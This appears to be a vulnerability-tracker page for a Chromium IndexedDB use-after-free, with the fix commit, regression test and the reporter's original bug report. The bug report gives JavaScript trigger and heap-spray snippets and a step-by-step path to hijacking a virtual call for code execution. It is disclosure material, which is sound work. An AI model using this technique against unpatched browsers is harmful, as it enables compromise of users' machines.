Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in Storage
DescriptionUse after free in Storage
ComponentStorage
Bug ClassUAF
Tracker446722008
Fix commitb99028df8f93 (chromium/src) +117/-107
CISA KEVNot listed
CreditedSombra
Disclosed2025-10-07

Changed Functions

FunctionChangeNotes
TEST_P
content/browser/indexed_db/indexed_db_unittest.cc
modified
for
content/browser/indexed_db/instance/bucket_context.cc
modified
if
content/browser/indexed_db/instance/bucket_context.cc
modified

Files Changed

  • content/browser/indexed_db/indexed_db_unittest.cc
  • content/browser/indexed_db/instance/bucket_context.cc
  • content/browser/indexed_db/instance/connection_coordinator.cc
From b99028df8f9316671381530844e2de51df3e1517 Mon Sep 17 00:00:00 2001
From: Abhishek Shanthkumar <[email protected]>
Date: Fri, 20 Feb 2026 00:25:11 -0800
Subject: [PATCH] IDB: Also prune delete requests when force closing a bucket

Currently, while database open requests are pruned when a bucket is
force-closed, delete requests are not. Moreover, these pending delete
requests are expected to run synchronously in the ForceClose call stack.
This expectation is not met in SQLite if a regular cleanup task
scheduled before the force close is still in progress (the queued delete
request needs locks that are granted only asynchronously by
PartitionedLockManager when released by the cleanup task).

None of the bucket-level force-close reasons seem to require delete
requests to NOT be pruned: FORCE_CLOSE_DELETE_ORIGIN: all databases will
be deleted anyway. FORCE_CLOSE_BACKING_STORE_FAILURE (for LevelDB): a
backing store failure will conceivably lead to the delete request
failing too. FORCE_CLOSE_INTERNALS_PAGE: used only for internal
debugging. IndexedDBContextImpl shutdown (during browser shutdown): no
guarantees provided to clients about delete requests necessarily being
processed when the browser is shutting down.

However, the IDBFactory::DeleteDatabase path with force_close=true is
used (only) by Devtools and requires the database to be deleted +
existing connections (and requests) to be aborted. This is now
accomplished by abolishing the concept of a "force-closed" database (a
source of bugs in the past - crbug.com/446722008) and instead changing
Database::ForceClose to a point-in-time method that simply closes
currently open connections and cancels currently queued requests. This
leaves the Database instance in a state where new requests can be issued
(used by DeleteDatabase with force_close) or where it can be immediately
destroyed (used when force-closing the bucket and when an error is
returned in BucketContext::RunTasks for SQLite). This simplifies the
force-close flows in all these cases.

Bug: 484647042
Change-Id: Ib18e9299a9c6fbdeb112c144ae7a8181e297d408
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7580874
Commit-Queue: Abhishek Shanthkumar <[email protected]>
Reviewed-by: Evan Stade <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1587659}
---

diff --git a/content/browser/indexed_db/indexed_db_unittest.cc b/content/browser/indexed_db/indexed_db_unittest.cc
index a25e3ecf..f125954 100644
--- a/content/browser/indexed_db/indexed_db_unittest.cc
+++ b/content/browser/indexed_db/indexed_db_unittest.cc
@@ -3040,4 +3040,70 @@
 }
 #endif
 
+// Regression test for crbug.com/484647042.
+TEST_P(IndexedDBTest, ForceCloseWithQueuedDelete) {
+  storage::BucketInfo bucket_info = InitBucket(GetTestStorageKey());
+  BucketLocator bucket_locator = bucket_info.ToBucketLocator();
+
+  mojo::PendingRemote<storage::mojom::IndexedDBClientStateChecker>
+      checker_remote;
+  BindFactory(std::move(checker_remote),
+              factory_remote_.BindNewPipeAndPassReceiver(), bucket_info);
+
+  // Open a database at version 1 and complete the upgrade.
+  {
+    auto connection = std::make_unique<TestDatabaseConnection>(
+        context()->idb_task_runner(), ToOrigin(kOrigin), kDatabaseName,
+        /*version=*/1, /*upgrade_txn_id=*/1);
+    mojo::PendingAssociatedRemote<blink::mojom::IDBDatabase> pending_database;
+
+    base::RunLoop open_loop;
+    EXPECT_CALL(*connection->open_callbacks,
+                MockedUpgradeNeeded(IsAssociatedInterfacePtrInfoValid(true),
+                                    IndexedDBDatabaseMetadata::NO_VERSION,
+                                    blink::mojom::IDBDataLoss::None,
+                                    std::string(""), _))
+        .WillOnce(testing::DoAll(MoveArgPointee<0>(&pending_database),
+                                 QuitLoop(&open_loop)));
+    connection->Open(factory_remote_.get());
+    open_loop.Run();
+
+    base::RunLoop commit_loop;
+    base::RepeatingClosure quit_closure =
+        base::BarrierClosure(2, commit_loop.QuitClosure());
+    {
+      ::testing::InSequence dummy;
+      EXPECT_CALL(*connection->connection_callbacks, Complete(1))
+          .WillOnce(RunClosure(quit_closure));
+      EXPECT_CALL(
+          *connection->open_callbacks,
+          MockedOpenSuccess(IsAssociatedInterfacePtrInfoValid(false), _))
+          .WillOnce(RunClosure(std::move(quit_closure)));
+    }
+    connection->database.Bind(std::move(pending_database));
+    connection->version_change_transaction->Commit(0);
+    commit_loop.Run();
+  }
+
+  // Wait for the Database to be destroyed. For SQLite, this starts async
+  // cleanup on a background thread.
+  BucketContext* bucket_context = GetBucketContext(bucket_info.id);
+  ASSERT_TRUE(bucket_context);
+  ASSERT_TRUE(base::test::RunUntil(
+      [&]() { return bucket_context->GetDatabasesForTesting().empty(); }));
+
+  // Queue a delete, then force close.
+  MockMojoFactoryClient delete_client;
+  EXPECT_CALL(delete_client, Error(blink::mojom::IDBException::kAbortError, _));
+  factory_remote_->DeleteDatabase(delete_client.CreateInterfacePtrAndBind(),
+                                  kDatabaseName, /*force_close=*/false);
+
+  base::RunLoop force_close_loop;
+  context_->ForceClose(
+      bucket_locator.id,
+      storage::mojom::ForceCloseReason::FORCE_CLOSE_BACKING_STORE_FAILURE,
+      force_close_loop.QuitClosure());
+  force_close_loop.Run();
+}
+
 }  // namespace content::indexed_db
diff --git a/content/browser/indexed_db/instance/bucket_context.cc b/content/browser/indexed_db/instance/bucket_context.cc
index 0d7852d9..80211c6a 100644
--- a/content/browser/indexed_db/instance/bucket_context.cc
+++ b/content/browser/indexed_db/instance/bucket_context.cc
@@ -278,13 +278,11 @@
     if (backing_store()) {
       backing_store()->OnForceClosing();
     }
-    for (auto iter = databases_.begin(); iter != databases_.end();
-         iter = databases_.erase(iter)) {
-      // The result is irrelevant as the database and backing store are already
-      // closing.
-      std::move(*iter->second).ForceClose(SanitizeErrorMessage(message));
+    for (auto& [_, db] : databases_) {
+      db->ForceCloseConnectionsAndCancelRequests(SanitizeErrorMessage(message));
+      CHECK(db->CanBeDestroyed());
     }
-    CHECK(databases_.empty());
+    databases_.clear();
     has_blobs_outstanding_ = false;
     close_timer_.Stop();
     skip_closing_sequence_ = true;
@@ -691,24 +689,22 @@
     }
   }
 
-  if (!databases_.contains(name)) {
+  Database* database = nullptr;
+  if (auto it = databases_.find(name); it == databases_.end()) {
     // This adds `Database` in an uninitialized state.
-    CreateAndAddDatabase(name);
-  }
-  auto it = databases_.find(name);
-  it->second->ScheduleDeleteDatabase(std::move(factory_client),
-                                     /*on_deletion_complete=*/
-                                     base::BindOnce(delegate().on_files_written,
-                                                    /*flushed=*/true),
-                                     timer.Elapsed());
-  if (force_close) {
-    std::unique_ptr<Database> database = std::move(it->second);
-    databases_.erase(it);
-    Status status = std::move(*database).ForceClose("The database is deleted.");
-    if (!status.ok() && !IsUsingSqlite()) {
-      OnDatabaseError(nullptr, status, "Error aborting transactions.");
+    database = CreateAndAddDatabase(name);
+  } else {
+    database = it->second.get();
+    if (force_close) {
+      database->ForceCloseConnectionsAndCancelRequests(
+          "The database is deleted.");
     }
   }
+  database->ScheduleDeleteDatabase(std::move(factory_client),
+                                   /*on_deletion_complete=*/
+                                   base::BindOnce(delegate().on_files_written,
+                                                  /*flushed=*/true),
+                                   timer.Elapsed());
 }
 
 storage::mojom::IdbBucketMetadataPtr BucketContext::FillInMetadata(
@@ -921,13 +917,10 @@
     // problem with the entire bucket, so we just `ForceClose` the one
     // `Database`.
     CHECK(database);
-    // Error during force close; `database` was already removed.
-    if (database->force_closing()) {
-      return;
-    }
     auto iter = databases_.find(database->name());
     CHECK(iter != databases_.end());
-    std::move(*iter->second).ForceClose(error_message);
+    iter->second->ForceCloseConnectionsAndCancelRequests(error_message);
+    CHECK(iter->second->CanBeDestroyed());
     databases_.erase(iter);
   } else {
     if (status.IsCorruption()) {
diff --git a/content/browser/indexed_db/instance/connection_coordinator.cc b/content/browser/indexed_db/instance/connection_coordinator.cc
index c415a26..60e6b343 100644
--- a/content/browser/indexed_db/instance/connection_coordinator.cc
+++ b/content/browser/indexed_db/instance/connection_coordinator.cc
@@ -115,9 +115,9 @@
   // Called when the upgrade transaction has finished.
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/content/browser/indexed_db/indexed_db_unittest.cc b/content/browser/indexed_db/indexed_db_unittest.cc
index a25e3ecf..f125954 100644
--- a/content/browser/indexed_db/indexed_db_unittest.cc
+++ b/content/browser/indexed_db/indexed_db_unittest.cc
@@ -3040,4 +3040,70 @@
 }
 #endif
 
+// Regression test for crbug.com/484647042.
+TEST_P(IndexedDBTest, ForceCloseWithQueuedDelete) {
+  storage::BucketInfo bucket_info = InitBucket(GetTestStorageKey());
+  BucketLocator bucket_locator = bucket_info.ToBucketLocator();
+
+  mojo::PendingRemote<storage::mojom::IndexedDBClientStateChecker>
+      checker_remote;
+  BindFactory(std::move(checker_remote),
+              factory_remote_.BindNewPipeAndPassReceiver(), bucket_info);
+
+  // Open a database at version 1 and complete the upgrade.
+  {
+    auto connection = std::make_unique<TestDatabaseConnection>(
+        context()->idb_task_runner(), ToOrigin(kOrigin), kDatabaseName,
+        /*version=*/1, /*upgrade_txn_id=*/1);
+    mojo::PendingAssociatedRemote<blink::mojom::IDBDatabase> pending_database;
+
+    base::RunLoop open_loop;
+    EXPECT_CALL(*connection->open_callbacks,
+                MockedUpgradeNeeded(IsAssociatedInterfacePtrInfoValid(true),
+                                    IndexedDBDatabaseMetadata::NO_VERSION,
+                                    blink::mojom::IDBDataLoss::None,
+                                    std::string(""), _))
+        .WillOnce(testing::DoAll(MoveArgPointee<0>(&pending_database),
+                                 QuitLoop(&open_loop)));
+    connection->Open(factory_remote_.get());
+    open_loop.Run();
+
+    base::RunLoop commit_loop;
+    base::RepeatingClosure quit_closure =
+        base::BarrierClosure(2, commit_loop.QuitClosure());
+    {
+      ::testing::InSequence dummy;
+      EXPECT_CALL(*connection->connection_callbacks, Complete(1))
+          .WillOnce(RunClosure(quit_closure));
+      EXPECT_CALL(
+          *connection->open_callbacks,
+          MockedOpenSuccess(IsAssociatedInterfacePtrInfoValid(false), _))
+          .WillOnce(RunClosure(std::move(quit_closure)));
+    }
+    connection->database.Bind(std::move(pending_database));
+    connection->version_change_transaction->Commit(0);
+    commit_loop.Run();
+  }
+
+  // Wait for the Database to be destroyed. For SQLite, this starts async
+  // cleanup on a background thread.
+  BucketContext* bucket_context = GetBucketContext(bucket_info.id);
+  ASSERT_TRUE(bucket_context);
+  ASSERT_TRUE(base::test::RunUntil(
+      [&]() { return bucket_context->GetDatabasesForTesting().empty(); }));
+
+  // Queue a delete, then force close.
+  MockMojoFactoryClient delete_client;
+  EXPECT_CALL(delete_client, Error(blink::mojom::IDBException::kAbortError, _));
+  factory_remote_->DeleteDatabase(delete_client.CreateInterfacePtrAndBind(),
+                                  kDatabaseName, /*force_close=*/false);
+
+  base::RunLoop force_close_loop;
+  context_->ForceClose(
+      bucket_locator.id,
+      storage::mojom::ForceCloseReason::FORCE_CLOSE_BACKING_STORE_FAILURE,
+      force_close_loop.QuitClosure());
+  force_close_loop.Run();
+}
+
 }  // namespace content::indexed_db
diff --git a/content/browser/indexed_db/instance/database_unittest.cc b/content/browser/indexed_db/instance/database_unittest.cc
index dbc9ea7..f06da8cf 100644
--- a/content/browser/indexed_db/instance/database_unittest.cc
+++ b/content/browser/indexed_db/instance/database_unittest.cc
@@ -249,11 +249,9 @@
   auto non_associated3 = request3.CreateInterfacePtrAndBind();
   non_associated3.EnableUnassociatedUsage();
 
-  // Delete succeeds as the database didn't successfully make it through
-  // creation.
-  base::RunLoop delete_success_loop;
-  EXPECT_CALL(request3, DeleteSuccess)
-      .WillOnce(::base::test::RunClosure(delete_success_loop.QuitClosure()));
+  base::RunLoop delete_loop;
+  EXPECT_CALL(request3, Error)
+      .WillOnce(::base::test::RunClosure(delete_loop.QuitClosure()));
   EXPECT_CALL(request3, Blocked).Times(0);
   db_->ScheduleDeleteDatabase(
       mojo::AssociatedRemote<blink::mojom::IDBFactoryClient>(
@@ -268,7 +266,7 @@
   db_ = nullptr;
 
   bucket_context_->ForceClose(false, kTestForceCloseMessage);
-  delete_success_loop.Run();
+  delete_loop.Run();
 
   // Wait for various mock expectations.
   RunPostedTasks();
Loading diff…

Original Bug Report

reported by [email protected]

heap-use-after-free in content::indexed_db::Database::connections_ when force_closing_ is true

VULNERABILITY DETAILS

tl;dr
The database is not destroyed immediately when Database::ForceCloseAndRunTasks() is called.
It sets Database::force_closing_ to true, clears all active connections and then queues a bucket_context_->QueueRunTasks() task to destroy itself.
The database still accepts connections even when Database::force_closing_ is set to true.
Any queued connections will be processed before BucketContext::RunTasks() is executed.
BucketContext::RunTasks() will NOT destroy the database if it has active connections (Database::CanBeDestroyed())
Database::ConnectionClosed() callback is skipped if Database::force_closing_ is set to true. This leaves freed connections in Database::connections_

analysis and a path to RCE
deleting a database with indexedDB.deleteDatabase(force_close = true) will end up invoking Database::ForceCloseAndRunTasks
the database sets force_closing_ [0], closes and frees all active connections [1], clears active connections list [2] and then queues a BucketContext::RunTasks task [3] to delete itself.

// src\content\browser\indexed_db\instance\database.cc
Status Database::ForceCloseAndRunTasks(const std::string& message) {
  if (!bucket_context_->ShouldUseSqlite()) {
    DCHECK(!force_closing_);
  } else if (force_closing_) {
    // Re-entrancy can validly occur if there's an error in the code below,
    // e.g. in `CloseAndReportForceClose`.
    return Status::OK();
  }

  force_closing_ = true; // <--------------------------------------- [0]
  for (Connection* connection : connections_) {
    connection->CloseAndReportForceClose(message); // <--------------------------------------- [1]
  }
  connections_.clear(); // <--------------------------------------- [2]
  IDB_RETURN_IF_ERROR(connection_coordinator_.PruneTasksForForceClose(message));
  connection_coordinator_.OnNoConnections();

  // Execute any pending tasks in the connection coordinator.
  ConnectionCoordinator::ExecuteTaskResult task_state;
  Status status;
  do {
    std::tie(task_state, status) = connection_coordinator_.ExecuteTask(false);
    DCHECK(task_state !=
           ConnectionCoordinator::ExecuteTaskResult::kPendingAsyncWork)
        << "There are no more connections, so all tasks should be able to "
           "complete synchronously.";
  } while (task_state != ConnectionCoordinator::ExecuteTaskResult::kDone &&
           task_state != ConnectionCoordinator::ExecuteTaskResult::kError);
  DCHECK(connections_.empty());
  bucket_context_->QueueRunTasks(); // <--------------------------------------- [3]
  return status;
}

A connection object is destroyed (freed) when it closes.
It calls AbortTransactionsAndClose [0] which invokes a callback into the database to remove the connection from the active connections list [1]
This callback is skipped if force_closing_ is set to true [2]

// src\content\browser\indexed_db\instance\connection.cc
Connection::~Connection() {
  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
  is_shutting_down_ = true;
  if (!IsConnected()) {
    return;
  }

  AbortTransactionsAndClose(CloseErrorHandling::kAbortAllReturnLastError, // <-------------------------- [0]
                            "The connection is destroyed.");
}

// src\content\browser\indexed_db\instance\connection.cc
std::unique_ptr<DatabaseCallbacks> Connection::AbortTransactionsAndClose(
    CloseErrorHandling error_handling,
    const std::string& message) {
  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
  if (!IsConnected()) {
    return {};
  }

  ... omitted ...
  std::move(on_close_).Run(this); // <--------------------------------------- [1] (Database::ConnectionClosed)
  ... omitted ...
}

// src\content\browser\indexed_db\instance\database.cc
void Database::ConnectionClosed(Connection* connection) {
  TRACE_EVENT0("IndexedDB", "Database::ConnectionClosed");
  // Ignore connection closes during force close to prevent re-entry.
  if (force_closing_) { // <--------------------------------------- [2]
    return;
  }
  connections_.erase(connection);
  connection_coordinator_.OnConnectionClosed(connection);
  if (connections_.empty()) {
    connection_coordinator_.OnNoConnections();
  }
  if (CanBeDestroyed()) {
    bucket_context_->QueueRunTasks(); // <--------------------------------------- [3]
  }
}

When BucketContext::RunTasks runs, it enumerates all active databases and then checks if the database can be destroyed [0]. if it can, it deletes the database [1].
Database::CanBeDestroyed will return false if there are any active connections [2]. This prevents the database from being deleted.

// src\content\browser\indexed_db\instance\bucket_context.cc
void BucketContext::RunTasks() {
  task_run_queued_ = false;

  for (auto db_it = databases_.begin(); db_it != databases_.end();) {
    Database& db = *db_it->second;
    Status status = db.RunTasks();
    if (!status.ok()) {
      OnDatabaseError(&db, status, {});
      return;
    }

    if (db.CanBeDestroyed()) { // <--------------------------------------- [0]
      db_it = databases_.erase(db_it); // <--------------------------------------- [1]
    } else {
      ++db_it;
    }
  }
  if (CanClose() && closing_stage_ == ClosingState::kClosed) {
    ResetBackingStore();
  }
}

// src\content\browser\indexed_db\instance\database.cc
bool Database::CanBeDestroyed() {
  return !connection_coordinator_.HasTasks() && connections_.empty(); // <--------------------------------------- [2]
}

creating a connection to a database with indexedDB.open(…) will eventually end up invoking Database::CreateConnection
a connection is added to the active connections list [0] without checking if force_closing_ is set to true.

// src\content\browser\indexed_db\instance\database.cc
std::unique_ptr<Connection> Database::CreateConnection(
    std::unique_ptr<DatabaseCallbacks> database_callbacks,
    mojo::Remote<storage::mojom::IndexedDBClientStateChecker>
        client_state_checker,
    base::UnguessableToken client_token,
    int scheduling_priority) {
  auto connection = std::make_unique<Connection>(
      *bucket_context_, weak_factory_.GetWeakPtr(),
      base::BindRepeating(&Database::VersionChangeIgnored,
                          weak_factory_.GetWeakPtr()),
      base::BindOnce(&Database::ConnectionClosed, weak_factory_.GetWeakPtr()),
      std::move(database_callbacks), std::move(client_state_checker),
      client_token, scheduling_priority);
  connections_.insert(connection.get()); // <--------------------------------------- [0]
  ... omitted ...
}

After executing the following code, our database will look like this:
[0] freed and closed as expected.
Database::force_closing_: true
Database::Connections_: [ [1], [2], [3] ]

indexedDB.open('MyDB'); // <------------ [0]
indexedDB.deleteDatabase('MyDB', force_close = true); // needs renderer patch. otherwise it sends force_close set to false
indexedDB.open('MyDB'); // <------------ [1]
indexedDB.open('MyDB'); // <------------ [2]
indexedDB.open('MyDB'); // <------------ [3]

Now if we close the last 3 connections our database will have 3 freed connections in connections_
We can reuse the addresses of each connection by abusing indexedDB strings for store or index name (they’re kept in memory)
In order to not crash we run this code in another origin.
note: these are utf16 strings. we create a string of length ((class_size - 4) / 2) to allocate class_size bytes.

req = indexedDB.open('whatever'); // <--------------- must not exist
req.onupgradeneeded = (e) => {
  const db = e.target.result;
  for (let i = 0; i != number_of_spray; ++i) { // <--------------- how many allocations
    // store name is limited to a specific charset, won't work for us.
    const store = db.createObjectStore(i.toString(), { keyPath: 'a', autoIncrement: false });
    // index name can include anything including null bytes.
    const index = store.createIndex('\u4141\u4141...\u4141\u4141', 'a', { unique: false });
  }
}

At this point we have a working database object with force_closing_ set to true and a list of connections_ containing freed connections with our index name’s content.
By carefully crafting a Connection object with an std::map of carefully crafted transactions and invoking indexedDB.open(‘MyDB’) we end up in Database::RunTasks
By following a specific code path we can immediately invoke a virtual function from our crafted object.

// src\content\browser\indexed_db\instance\database.cc
Status Database::RunTasks() {
  ... omitted ...
  while (transactions_removed) {
    ... omitted ...
    for (Connection* connection : connections_) {
      std::vector<int64_t> txns_to_remove;
      for (const auto& id_txn_pair : connection->transactions()) {// <------------------------ [0] connection with crafted transactions_ (std::map) used
        Transaction* txn = id_txn_pair.second.get();
        ... omitted ...

        // Process the queue for transactions that are STARTED or COMMITTING.
        // Add transactions that can be removed to a queue.
        StatusOr<Transaction::RunTasksResult> task_result = txn->RunTasks(); // <------------------------ [1] crafted transaction used
        if (!task_result.has_value()) {
          return task_result.error();
        }

        ... omitted ...
      }
      ... omitted ...
    }
  }
  return Status::OK();
}

// src\content\browser\indexed_db\instance\transaction.cc
StatusOr<Transaction::RunTasksResult> Transaction::RunTasks() {
  ... omitted ...

  // If there are no pending tasks, we haven't already committed/aborted,
  // and the front-end requested a commit, it is now safe to do so.
  if (!HasPendingTasks() && state_ == STARTED && is_commit_pending_) { // <------------------------ [2] state_ and is_commit_pending_ will be crafted to pass checks
    processing_event_queue_ = false;
    Status result = DoPendingCommit(); // <------------------------ [3]
    if (!result.ok()) {
      // This can delete |this|.
      return base::unexpected(result);
    };
  }

  ... omitted ...
  return RunTasksResult::kNotFinished;
}

// src\content\browser\indexed_db\instance\transaction.cc
Status Transaction::DoPendingCommit() {
  TRACE_EVENT1("IndexedDB", "Transaction::DoPendingCommit", "txn.id", id());

  ResetTimeoutTimer(); // <------------------------ [4]

  ... omitted ...
}

// src\content\browser\indexed_db\instance\transaction.cc
void Transaction::ResetTimeoutTimer() {
  timeout_timer_.Stop(); // <------------------------ [5]
  timeout_strikes_ = 0;
}

// src\base\timer\timer.cc
void TimerBase::Stop() {
  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);

  AbandonScheduledTask();

  OnStop(); // <------------------------ [6] virtual call on our crafted timer object!!!!!!
  // No more member accesses here: |this| could be deleted after Stop() call.
}

At this point we should have code execution by controlling RIP register. (PoC will set a special address, no calc yet)
NOTE: spraying relies on sizeof(Connection) being 456. it will NOT work if the size is wrong.

POTENTIAL FIX

I see three ways of fixing this. Either you:
A) search for a database of same name AND force_closing_ set to false in [0]. This would create a new database if there is one that is force closing.
However, this is more complicated because databases_ is accessed from multiple places and you would need to change all of them.
B) simply ignore the connection in [1] or [2]? It would destroy and close itself.
C) exit with an explicit error if database_ptr->force_closing_ is set to true.

// src\content\browser\indexed_db\instance\bucket_context.cc
void BucketContext::Open(
    mojo::PendingAssociatedRemote<blink::mojom::IDBFactoryClient>
        factory_client,
    mojo::PendingAssociatedRemote<blink::mojom::IDBDatabaseCallbacks>
        database_callbacks_remote,
    const std::u16string& name,
    int64_t version,
    mojo::PendingAssociatedReceiver<blink::mojom::IDBTransaction>
        transaction_receiver,
    int64_t transaction_id,
    int scheduling_priority) {
  ... omitted ...

  Database* database_ptr = nullptr;
  auto it = databases_.find(name); // <----------------------------- [0]
  if (it == databases_.end()) {
    // The database must be added before the schedule call, as the
    // CreateDatabaseDeleteClosure can be called synchronously.
    database_ptr = CreateAndAddDatabase(name);
  } else {
    database_ptr = it->second.get();
  }

  database_ptr->ScheduleOpenConnection(std::move(connection)); // <------------------- [1]
}

// src\content\browser\indexed_db\instance\database.cc
void Database::ScheduleOpenConnection(
    std::unique_ptr<PendingConnection> connection) {
  connection_coordinator_.ScheduleOpenConnection(std::move(connection)); // <------------------- [2]
}

VERSION

Chrome Version: tested on 142.0.7426.0 dev
Operating System: tested on Windows (any will work?)
Commit hash: 81f25d3d93e6a170d77a6061e8a2e2e34b80b1e0
I don’t know the earliest version of chrome with this bug, but looking at git blame shows something like 6 years ago..? not sure.

REPRODUCTION CASE

This vulnerability requires a compromised renderer to send the required mojo messages. Instead, we patch renderer using the attached renderer.patch.
We patch the browser using the attached exploit.patch (only needed for RCE) to simplify corruption. see Project Zero link below…
1) run python3 -m http.server 1337 in a folder with attached files.
2) run browser using command line chrome.exe --incognito so indexedDB changes do not persist on disk (less issues reproducing the bug).
3) visit http://localhost:1337/ and use the buttons on screen.
4.A) start -> asan (needs only renderer.patch)
4.B) start -> spray -> exploit (needs exploit.patch)
The exploit is very stable, but if you encounter issues please try slowly increasing sleep_before_dc or number_of_spray in main.js

it must be hosted in a way that allows subdomains. spray.<domain> must open the same website
on windows, localhost and spray.localhost both resolve to 127.0.0.1

For creating complex objects in memory in predictable addresses we may be able to do something like what project zero does in this post.
https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html
However, for this PoC we simply patch the browser (see: exploit.patch)

I will continue reading the post from project zero and also checking chromium codebase for any rop gadgets that can be used.
However, that will probably take me a long time as I’ve started looking at chromium source only 5 days ago after my browser crashed (you may have seen a couple of crash reports.. that’s me.)
Hopefully the attached PoC is enough to show the RCE capability of this bug.

VIDEO PoC

In video.mp4 we will:
0) use our patched build of chromium.
1) launch chrome.exe --incognito with windbg to attach to browser process (debug children is off)
2) open the PoC page, click start, click spray, and then click exploit.
3) we will see RIP hijacked in windbg.

BUILD ARGUMENTS

It shouldn’t matter for this bug, but this is what I used.
Arguments chosen at random to speed up build and test stuff.

is_debug = true
symbol_level = 2
blink_symbol_level=0
v8_symbol_level=0
dcheck_always_on = true
is_component_build = true
target_cpu = "x64"
is_asan = false
treat_warnings_as_errors = false
enable_mojo_tracing = true
v8_enable_memory_corruption_api = true

CRASH INFORMATION

Type of crash: browser
Reason: UAF
RCE Possible: Yes
Crash State:
https://commondatastorage.googleapis.com/chromium-browser-asan/index.html
used asan build: chromium-142.0.7405.4-win64-asan

=================================================================
==21320==ERROR: AddressSanitizer: heap-use-after-free on address 0x1219128a2040 at pc 0x7ff8c88e83ae bp 0x00ee89ffefa0 sp 0x00ee89ffefe8
READ of size 8 at 0x1219128a2040 thread T10
    #0 0x7ff8c88e83ad in std::__Cr::__tree<std::__Cr::__value_type<long long,std::__Cr::unique_ptr<content::indexed_db::Transaction,std::__Cr::default_delete<content::indexed_db::Transaction> > >,std::__Cr::__map_value_compare<long long,std::__Cr::pair<const long long,std::__Cr::unique_ptr<content::indexed_db::Transaction,std::__Cr::default_delete<content::indexed_db::Transaction> > >,std::__Cr::less<long long>,1>,std::__Cr::allocator<std::__Cr::pair<const long long,std::__Cr::unique_ptr<content::indexed_db::Transaction,std::__Cr::default_delete<content::indexed_db::Transaction> > > > >::begin C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree:886
    #1 0x7ff8c88e83ad in std::__Cr::map<long long,std::__Cr::unique_ptr<content::indexed_db::Transaction,std::__Cr::default_delete<content::indexed_db::Transaction> >,std::__Cr::less<long long>,std::__Cr::allocator<std::__Cr::pair<const long long,std::__Cr::unique_ptr<content::indexed_db::Transaction,std::__Cr::default_delete<content::indexed_db::Transaction> > > > >::begin C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\map:1065
    #2 0x7ff8c88e83ad in content::indexed_db::Database::RunTasks(void) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\database.cc:343:36
    #3 0x7ff8c8890bc9 in content::indexed_db::BucketContext::RunTasks(void) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\bucket_context.cc:484:24
    #4 0x7ff8c88a42bf in base::internal::DecayedFunctorTraits<void (content::indexed_db::BucketContext::*)(),base::WeakPtr<content::indexed_db::BucketContext> &&>::Invoke C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:730
    #5 0x7ff8c88a42bf in base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (content::indexed_db::BucketContext::*&&)(),base::WeakPtr<content::indexed_db::BucketContext> &&>,void,0>::MakeItSo C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:946
    #6 0x7ff8c88a42bf in base::internal::Invoker<base::internal::FunctorTraits<void (content::indexed_db::BucketContext::*&&)(),base::WeakPtr<content::indexed_db::BucketContext> &&>,base::internal::BindState<1,1,0,void (content::indexed_db::BucketContext::*)(),base::WeakPtr<content::indexed_db::BucketContext> >,void ()>::RunImpl C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:1059
    #7 0x7ff8c88a42bf in base::internal::Invoker<struct base::internal::FunctorTraits<void (__cdecl content::indexed_db::BucketContext::*&&)(void), class base::WeakPtr<class content::indexed_db::BucketContext> &&>, struct base::internal::BindState<1, 1, 0, void (__cdecl content::indexed_db::BucketContext::*)(void), class base::WeakPtr<class content::indexed_db::BucketContext>>, (void)>::RunOnce(class base::internal::BindStateBase *) C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:972:12
    #8 0x7ff8d0a3c963 in base::OnceCallback<void ()>::Run C:\b\s\w\ir\cache\builder\src\base\functional\callback.h:155
    #9 0x7ff8d0a3c963 in base::TaskAnnotator::RunTaskImpl(struct base::PendingTask &) C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc:207:34
    #10 0x7ff8d09917cc in base::TaskAnnotator::RunTask C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h:104
    #11 0x7ff8d09917cc in base::internal::TaskTracker::RunTaskImpl C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:686
    #12 0x7ff8d09917cc in base::internal::TaskTracker::RunBlockShutdown(struct base::internal::Task &, class base::TaskTraits const &, class base::internal::TaskSource *, class base::internal::SequenceToken const &) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:679:3
    #13 0x7ff8d098fa5e in base::internal::TaskTracker::RunTaskWithShutdownBehavior C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:704
    #14 0x7ff8d098fa5e in base::internal::TaskTracker::RunTask(struct base::internal::Task, class base::internal::TaskSource *, class base::TaskTraitsconst &) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:501:5
    #15 0x7ff8d098eb0e in base::internal::TaskTracker::RunAndPopNextTask(class base::internal::RegisteredTaskSource) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\task_tracker.cc:391:5
    #16 0x7ff8d09792d5 in base::internal::WorkerThread::RunWorker(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:473:36
    #17 0x7ff8d097813f in base::internal::WorkerThread::RunPooledWorker(void) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\worker_thread.cc:359:3
    #18 0x7ff8d0885d13 in base::`anonymous namespace'::ThreadFunc C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:114:13
    #19 0x7ff9dad3beee  (I:\Chromium\chromium-142.0.7405.4-win64-asan\clang_rt.asan_dynamic-x86_64.dll+0x18005beee)
    #20 0x7ffa1fffe8d6  (C:\WINDOWS\System32\KERNEL32.DLL+0x18002e8d6)
    #21 0x7ffa21388d9b  (C:\WINDOWS\SYSTEM32\ntdll.dll+0x180008d9b)

